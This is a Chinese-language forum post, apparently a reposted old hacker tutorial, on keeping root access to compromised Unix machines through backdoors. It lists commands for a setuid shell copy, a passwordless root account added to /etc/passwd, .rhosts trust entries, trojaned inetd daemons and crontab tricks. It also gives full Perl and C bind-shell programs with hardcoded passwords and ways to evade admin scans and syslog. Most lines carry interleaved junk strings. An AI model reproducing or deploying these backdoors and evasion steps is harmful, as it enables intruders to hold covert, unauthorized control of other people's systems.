找回密码
 注册

QQ登录

只需一步,快速开始

如何创建后门

[复制链接]
发表于 2011-1-13 17:04:25 | 显示全部楼层 |阅读模式
参考文献:
6 ?+ g3 A- B5 E4 i5 m! T* `  [Article: backdoor from The Infinity Concept Issue II $ `5 o; \- n8 I3 W7 p& y
Src: b4b0.c by b4b0
% G9 ?# @3 J  m' h" F; g) YSrc: daemonsh.pl by van Hauser / [THC] in 1997' ! O: ~7 Q" T! o. n" L- E; |

( o% q; p% J$ f# X- ?8 U1 e-- 0 p$ m! |- l" k
2 ~  p& h" \$ q6 p' ]$ G+ `/ y7 W! R5 k
千辛万苦(or 轻而易举)的取得root后,当然希望长久的保持. 以被以后用来。。。d0ing what u want t0 d0 :) 传统的方法就是建立一个后门(backd00r).即使入侵被发现,好 的(先进)后门仍然能够使你再次轻松的破门而入 -- 请记住: " we come back and we are the h.a.c.k.e.r "
- ?1 {/ I" T9 G# T--
# \; l6 E7 a% [4 K" d# T7 p创建后门的方法如下:
/ c1 o, B  d0 C" f) W, C+ y8 `-
2 q% _1 ~* i6 a% z# @1. setuid
/ `" k, l9 ^) s7 x6 ^#cp /bin/sh /tmp/.backdoor
3 k% q8 f; C% R#chmod u+s /tmp/.backdoor 3 J+ g1 E7 O6 Z& E, R
加上 suid 位到shell 上,最为简单方便,但也最为容易被ADM 发现 find / -perm 4000 -print;同时在大多数的SUNOS 上 你会发现不能setuid。-- 适用于新手; 8 E2 P6 S) S' q
-
8 }5 S1 D, o  \- P0 Q! q9 c$ G1 B2. echo "zer9::0:0::/:/bin/csh" >> /etc/passwd 即给系统增加一个 id 为 0(root)的帐号,无口令; 也很容易被发现。 -- 适用于新手;   Z7 Q" v3 B5 j  L
-
% e3 q" p# E  Q' ~: e. M8 M& m3.echo "+ zer9">>/.rhosts % J; H# ~; L. Y4 {- q7 T
即本地的名为 zer9 的用户可以直接 rlogin target 无须口令此时的 zer9 就相当于口令,不知道的人是不能进去的. + v8 G' I( c4 }7 e
前提是目标的port 512or513or514 opening. 2 m  C, ]$ [5 @- {1 N0 o1 |1 i
注: 如 echo "+ +">>/.rhosts 则任何用户都可rlogin至目标 导致目标门户打开,最好不要;
! L0 h0 X" B/ {/ H  T4 j& Q: N还可 echo "+ +">>/etc/hosts.equiv 但这样不能取得root权限;-- 适用于比新手高一点点,比中级水平低一点点的guys; ( `4 @9 ]* r1 k7 \3 R
- : C4 Z3 J5 S0 d- U: t, `
4.modify sendmail.cf 增加一个"wiz" 命令; ) W0 l0 G4 `, @
usage: 8 Y9 k+ ]6 @) W( N/ r8 S" v( {% ]
telnet target 25 [enter] 2 A7 K& B7 P" w, U* Y, e6 Z! f. Y
wiz[enter] $ R8 N! s# I+ {. y9 m! ~% L
这是我从SAFEsuite中学到的(但没试过);比较危险。因为几乎所有的扫描器都会刺探本漏洞。不过你可把命令本身该成其他不易猜到的名字。比较复杂,危险,但ADM不易发现,隐蔽性较强;你只在你的机器上试一试就okay了;-- 顾名思意,大师级漏洞; 9 A0 ]$ u: B+ L: t8 D; r3 C
- * ^% f; t1 g0 y, ]% g' u
5. crack suck as inetd,login,... 9 v! Y$ h. c2 e  f/ e0 r
即安装它们的特络绎版本。你需要找到各版本unix的rootkit;然后分别编译即可;-- 如果目标机上没有安装 tripwire之类的东东,那几乎不可能被发现。linux&sunos&freebsd的可能好找,但其他的了?即使你找到了,你有对应平台上的编译器吗?我有一台运行 slackware,one running irix,one runningsunos,one running hpux,one running digits unix,... ; D. X6 I8 G2 d
hahhahha,我又做梦了:)
0 F: F7 Y5 [- I; k4 c-- 我个人认为是最好的方法,但实现起来有一定风险,你必须考虑到如果你的木马运行出错怎么办--因为我们所做的一切都必须以不破坏目标机上的任何数据为原则;
) N* A) a+ d* W) _6 N4 F/ m- / x7 q6 t0 p  W9 _) [) i+ V
6.ping rem0te backd00r + I0 Y) K' `. o( o
即使是防火墙也很少阻止 ICMP 的通过,因此本后门可绕过防火墙。具体的程序你可在 [THC] 的主页发现;我想到了另外一种直接用ping命令实现的可通过防火墙的方法 :一方在防火墙内,一方在防火墙外;除 ICMP 外;通向防火墙内的信息均被过滤掉 :(用 60k data 代表长,10k data 代表短;使用摩尔思编码;(或其他自定义编码)双方通过 ICMPinfo 接受信息(ping 's data length);“嘀,嘀,嘀嘀,嘀,嘀嘀嘀...""长江长江,我是黄河--- 向我开炮!向我开炮”(^o^);以后有时间我会通过程序来实现验证可行性的。(技术上应该没有什么难度)
3 S+ O" S; s/ ~1 j8 C-
$ L; Z7 G) n) e7.rem0te shell 4 B' w! `" Q4 F- a* O2 R; U6 r
我最喜欢的方式。而且由于绕开了login,故用 who 无法看到--也就是说,避开了utmp&utmpx&wtmp&wtmpx;但没有完全避开 syslogd.ADM仍可以在/var/log/messages中发现
3 y* a4 d6 h: ^0 ^5 R) h) e你。不过,有一种方法可以彻底完全的旁路 syslogd!且听下面一一道来.
; [- p8 G, ^) H4 q; X3 Z' pbindshell的实现有两种: ' n) _! F6 b  v9 ~  e6 T" e; t
a. ; K$ T& J3 P( ?  r! @# E
替换掉 inetd.conf 中的不重要服务,如 rlogind :)在inetd 接受 connect 请求后,直接在本端口利用 system("/bin/csh -i");直接spam 出一个shell, , n7 ?, E5 ]4 g
b. 接受 connect 后,在高端spam出一个shell; 2 I8 v- K% [. X# r+ v
(更安全 :)
1 B- K! z) t) H4 f; n* v/ G下面我给出一个perl 实现(不需socket libary支持)(pass on sunos5.5.1&slackware 2.0.33&irix6.4&hpux10.2)和一个 gnuc 的实现(test on slackware 2.0.33&irix6.4)
1 a# M+ z) V" k- T- d8 r---
0 n6 a  _% K; O6 B( B9 I  rperl 版安装方法: - T0 g9 V1 B  V( O9 G, }: r- y
###无须编译!!只要目标机上有perl支持就okay!
; y0 D5 @6 e' M6 V% t8 H3 N' H如何判断有无perl: $/>perl [enter]
3 N, X0 m6 j- z# q( k$ p+ f* o0 j6 J( v: \, n
[ctrl-c] / u1 d3 ]3 s/ p3 Z
$/>
+ V" `2 I  y5 c" q-
8 a+ g: B$ G! m如果你对 /etc/inetd.conf 中的内容不是很熟的话,下面 ( N/ T, {  U6 v& N8 s
的方法有很大的危险性, exit(-1) please;
/ `4 d, M/ _1 F# J! |" H- 7 b$ w$ [; _. [" m- E6 ~  [! z
首先将源程序cut,存为你想要替换的daemon,如in.rexecd or or in.rlogind ,in.pop2d....最好是已经被ADM关掉了,而且不太引人注目的daemon,注意,一定要是 TCP types.然后
* i' f+ i" V( Q8 Xmv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak :)) 2 ^  d, X- L# r7 p. z5 q4 _" z
cp in.rexecd /usr/sbin/in.rexecd 3 e" \# i4 C# z- m4 z/ L$ h  @
然后 ps -aux|grep inetd;kill -HUP id(by inetd);
- ^0 C2 X$ c3 eokay! 连 /etc/inetd.conf 都不要改。重申一点:不论在任何情况下,我们都要尽最大的可能保护数据!
$ v, r6 w! V6 E& R# b- 4 \$ d9 V* G- D
Usage: nc target (such as 512)
+ A' v7 i1 k3 C. d) @[enter]
( m2 j7 @- {+ R& _3 ~ur passwd [enter]
$ G0 t# Y3 f( q% f' C(then u login in...:) ' N& \- e* P  S+ M/ e  @  L

5 h1 p3 x/ u& I, N/ t5 ~----Cut Here------------------------------------------
; g5 V( o4 X  ~1 R, y4 J- S9 _9 u5 |& T/ w, W' |. S
#!/usr/bin/perl $ H9 k+ S2 d1 f* x* ^) G- [. b
# & `1 a$ I3 c% ]5 J5 U& i5 k, ~
# BEST 3 K5 y# K" D% u' {) ?# v7 h$ ]
# SIMPLE 8 c) {; y3 u9 V; \* Y- k
# rem0te bind shell 8 k0 s3 Y( k; a: m' g. J
#[perl version only tcp]
7 o1 @& W6 I- m' S  \0 Q# by
$ ^0 U4 ]) b( ?) m! {2 ]; s8 S# zer9[FTT]
5 f$ J, {8 K  |+ E1 j3 {" M. t1 }' N4 b# zer9@21cn.com
3 e. Y" @( I- Z#passed on allmost unix " J  t* c4 ]- u( Z% a) }
#greet to:van Hauser/[THC] " J- k8 k4 |/ J5 i: u/ v
# for his daemonshell.pl 6 D, l0 G9 O! i' E  J7 u
#
: m- q) t( k4 r2 b( n& Y$SHELL="/bin/csh -i"; ' @( o1 F$ [# K, I9 _
#d3f4ult p4sswd 1s "wh04r3u" (no quote); 6 t) ?2 j! y$ @: T# G" x3 A
$PASSWORD="BifqmATb6D5so"; + i, D+ i  b- }
% W) W) c# b1 Q! E! ]* a
if ($PASSWORD) { , Q  g) p/ r) ]: A1 Q" a
chop($pass=);
# d4 R/ ~+ ~" W2 \# Fif (crypt($pass, $PASSWORD) ne $PASSWORD) {
! i8 z" Z8 ~2 i: L, fexit 0; : c; [/ l& P- I$ L/ y" C
} " f" v4 @; d& h7 ^6 ^
exec $SHELL ;
. N1 U1 c. c& }* c. }+ Jexit 0; ( {/ E5 K+ d! d) d5 x% O9 T
}
& @; B- A8 G. f% b" |! ^" o  v, E, p+ d5 M
----Cut Here--------------------------------------------
4 T: i+ s1 R1 }" E0 m. S) H) s) I0 {# `7 Y% N- k$ L0 l
3 {* X- I# i' O; c

  x2 \- |7 T- f) c7 @7 S% o7 V1 `0 j
下面是一个for gnuc 的bindshell,first cut it,save as 6 `# F# L" u; ^
backdoor.c ,then cc backdoor.c -o backdoor ( L/ U8 J3 f/ w* L0 R" p
other action just l1ke before;
, l. `1 E  q: J: s6 D1 W/ T: ?Usage: (exp:binding to in.rlogind (513))
4 Y" E, ]1 `4 s# u6 X  h, S0 T- anc target 513 //spam a shell on the high port;
3 U$ C& v. k9 [: {. {nc target 54321
0 R( O# H! h7 y: ]$ ~' Xur passwd
6 B! l% G5 i; E8 ^. ~(then u coming in...)
' r7 Z; {$ R, E# Y$ ?
$ @2 C3 B1 U7 X2 t: \: Y, m# X/ n8 b2 {+ e% R
----Cut Here-------------------------------------
( d* i8 n. l( c5 X! y) m( K- {% x: f* \
/*
2 o+ M- {3 o. ]  c4 C* [ b i n d - s h e l l ] ) w/ R' x' E3 }0 c' u- a
* by
$ ]' b+ Z) q; X& w# m7 O* zer9[FTT] / g! R2 i  P- H. ?; }% k
* zer9@21cn.com , \% C- v+ H7 F# m, T9 g
*test on slackware 2.0.33&irix6.4(cc)
; ]% E2 E( B+ u*cc backdoor.c -o backdoor 6 ~8 K4 {, d0 F! r: d  M8 l. K  j
*u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m
3 {/ N% K, T& X& r*c0mm4nd l1n3: backdoor [port]
% N& v" ]& F5 o7 j; O  _*d3fault p0rt 1s: 54321 ! Z5 A. V# g5 q& u( a
*greets to b4b0 for his b4b0.c ! q) G, L, C1 H, c" h& _/ \
*m4yb3 1 c0uld s4y:
1 ~) |% _5 v+ j& i2 ^5 a*"0k,b4b0.l1st3n c4r3fully;" & E. B' ^& C. g/ a+ v0 S# B8 L
*s0rry,just a joke.
- ~, M; `* z$ r6 @' d1 G- i*
# ?- }# L! o* L*/
7 V/ g( p: e  r, c
* d; X3 l- M/ N4 p#include 5 u* [5 N1 p: U' k8 r+ c7 [: J
#include . i5 `; h7 k# w. H7 Q
#include
( V7 v% r1 `8 R- f#include 0 @- K2 \9 n5 H9 ^. M, j& h- Q
#include . b9 _# ~" X9 D2 F2 B- K) \7 f& b% T
#include
% |6 _; K* z% `8 S1 [! W#include ; ~, e7 D) p: r/ n" F; B- X

; D2 T( j2 M1 d& `* {
, p: U2 C! \- [, g. b#define PassWord "k1n90fth3w0rld"
1 ^% V  s& V# f' P6 d/* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */ - o; L/ `' n2 _/ M, {

: S9 o  E* B) a1 y& H#define DefaultPort 54321
- n8 [2 p: p: D* j* ^8 ]/* d3f4ult b1nd1ng p0rt */
* E+ H6 p+ E9 t4 w$ ?
: J2 W) P! A& v  j; ~int main(int argc,char **argv)
$ v/ _5 s6 h- s0 z8 R6 m{
7 |& n' h. F4 T. ?3 r* gint s,in_s; 0 \7 C! A0 L. i0 L
struct sockaddr_in server,client; : m% S- V) X" l  y7 x
int client_len,bindport;
; Q, s. p; R& K- o0 S4 Dchar recvbuf[1000]; - n1 ]# Y  v* ?: V# i
% I' H& @3 }5 Q5 ~" B0 R7 m
if(argc!=2) bindport=DefaultPort;
9 V' ?* U5 P7 N, Lelse
8 ?8 w# v: [2 b4 Qbindport=atoi(argv[1]);
4 r4 Z; x$ f- N7 cif((s=socket(AF_INET,SOCK_STREAM,0))<0)   P/ G+ ~; S7 ]3 B2 }$ p
{ ( g) ?' {5 a, n5 b- q
perror("socket");
# H9 M% u" ~% W  o8 ?return -1; ) Q! |6 G7 o/ h  R/ Y
}
1 k  c" [0 c! {9 {% Wbzero((char *)&server,sizeof(server));
& A6 ^% T/ u( {bzero((char *)&client,sizeof(client)); 0 ~' P8 l& w* E3 b$ f7 u3 W' T
bzero(recvbuf,sizeof(recvbuf));
& E! R$ j2 {( N) I8 S8 k! w: I5 Iserver.sin_family=AF_INET;
! U6 \+ Z4 d, T2 userver.sin_port=htons(bindport);
* ^1 \- r' L) Wserver.sin_addr.s_addr=INADDR_ANY; 0 d7 L% d5 x0 V2 c. }" R' z4 O
if(bind(s,(struct sockaddr *)&server,sizeof(server))<0)
/ I" m2 J: }7 c5 B{
0 b) F5 W8 q5 K. Aperror("bind");
& K: S8 n  R- x7 }9 c' {' y+ Ereturn -1;
) j% Q6 J& G2 e1 \( M5 g, `# V7 [1 ~} , s6 D7 f+ `$ w9 \
if(listen(s,3)!=0) / |: V& B& z- Q- i. X, c7 J
{
) r& K. X. ^+ z: D& \perror("listen"); & F* a( [4 v5 ]( |
return -1; % x1 G" |  c) w( c9 ~. l( F
}
+ [3 @, F- F1 aclient_len=sizeof(client);
2 E+ V. x9 X! o/ |# mif((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0) 3 d0 Z5 O4 q$ F+ [! r% |
{
3 e3 w( ?2 C8 ^, Q5 Aperror("accept");
: R9 D% o' P) Rreturn -1; . [9 ~0 r! V6 Z# s
}
# q( I; {9 V0 a$ c. hrecv(in_s,recvbuf,sizeof(recvbuf),0); 0 E. Y' g( A, u- }6 R' c. G& h$ p
sleep(1);
0 v. l- n& S3 b  U  E' cif((strlen(recvbuf)-1)==strlen(PassWord)) , l9 K4 I# K8 p2 G) E# m( G
if(!strncmp(recvbuf,PassWord,strlen(PassWord)))
. m4 A+ e) W, i% o& n/ F+ O{
+ e% i! I( ?+ M' E1 W1 A& z$ F) |send(in_s,"0k4y! c0m1ng 1n...\n",25,0); # t! M/ _7 x7 t5 b  N( N( Z
close(0);close(1);close(2);   K1 _$ n  I; I% M! }; j( G
dup2(in_s,0);dup2(in_s,1);dup2(in_s,2);
6 R, S. k! i: ^7 Nexecl("/bin/csh","/bin/csh",(char *)0); 7 g4 n; h$ ]8 M. L( J% y1 k
} ! |7 k3 R0 Y3 x- Q2 T# D) T
close(s);
1 k4 S( _( K8 p0 xclose(in_s); # k: ^3 `* p: Q0 X5 U
return 0; # M! m$ |) |2 K) v' {' I7 y) _
} 5 |" r7 w  a  |" X& N; J

# ~& F2 _; }3 q+ T# D; S6 [----Cut Here------------------------------------------------- & W: @3 }  u# f; I( s

: C6 f, @9 `, u0 m用上面的方法都不能完全的避开syslogd,因为他们都是由inetd 启动的,inetd启动它们的同时已经进行log 了;旁路掉inetd就能完全避开syslog!方法很简单,只要直接在命令行直接启动例程2(c)就可以了,(1perl不行);不过这样很麻烦;一旦ADM关掉计算机就玩完了;比较好的方法是在 /etc/rc.d/rc.local中加入: + @9 G/ [1 i$ s5 j' @4 B5 y
backdoor &
, |4 C7 s! m6 I- V  g2 J$ j: V7 n但即使这样作了,每次用过后还要再起动一次;更好的方法是写一个具有完全功能(后门功能^o^)的daemon,彻底的解决这个问题;但这样做与hack inetd 那样更有效率(安全)了?
0 b3 A3 E7 @% l( G$ H) S--
2 d6 ~: P* E) G$ J  y# Y8 A& g. k8.第八种武器就是 crontab
& n& ]# D  N+ c! V3 g* t我只知道原理,没实践过.每到一定时间就往 /etc/passwd 中加入一条uid为0(root)
( p5 E- T' O7 L的用户;时间一道就delete ,或创建suid's shell...在序言中提到的文章中有详细介绍;
% B$ h0 _$ m6 z-- # i, s7 P& l; e9 g/ t# s
9.有没有想过只要向系统的一个用户发一个email,OS 就会spam出一个shell?利用用户的home目录下的 .forward 可作到这一点。
; u6 g/ A) c* h  R* ^" X: p--
0 ^. d5 Y& k. ~2 ~# a8 |8 g" F0 ~10。修改内核--超级高手的做法;2.2.0的解压文件达到了50几MB,看到就头痛。接着就 jmp ffff0 :) (不是看到内容,而是看到大小);[THC]最近出了篇文章关于这个的。你对自己有信心的话可以看看;
, s$ {3 N" z/ C' `" q9 j; i-- % W" m0 g! w. d( N; c: N
11.还有就是利用 overflow 程序,虽然我们一般是利用它取得root;但只要 ADM && u 没有 patch ,始终我们可以利用它的,与suid不同的是它不怕被 find / -perm 4000 发现;一般只有 tripwire可发现。
( p- q* C' H4 n* u7 d/ ~" c# e+ `) r! }: m5 B
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|本地广告联系: QQ:905790666 TEL:13176190456|Archiver|手机版|小黑屋|汶上信息港 ( 鲁ICP备19052200号-1 )

GMT+8, 2025-8-2 20:46

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表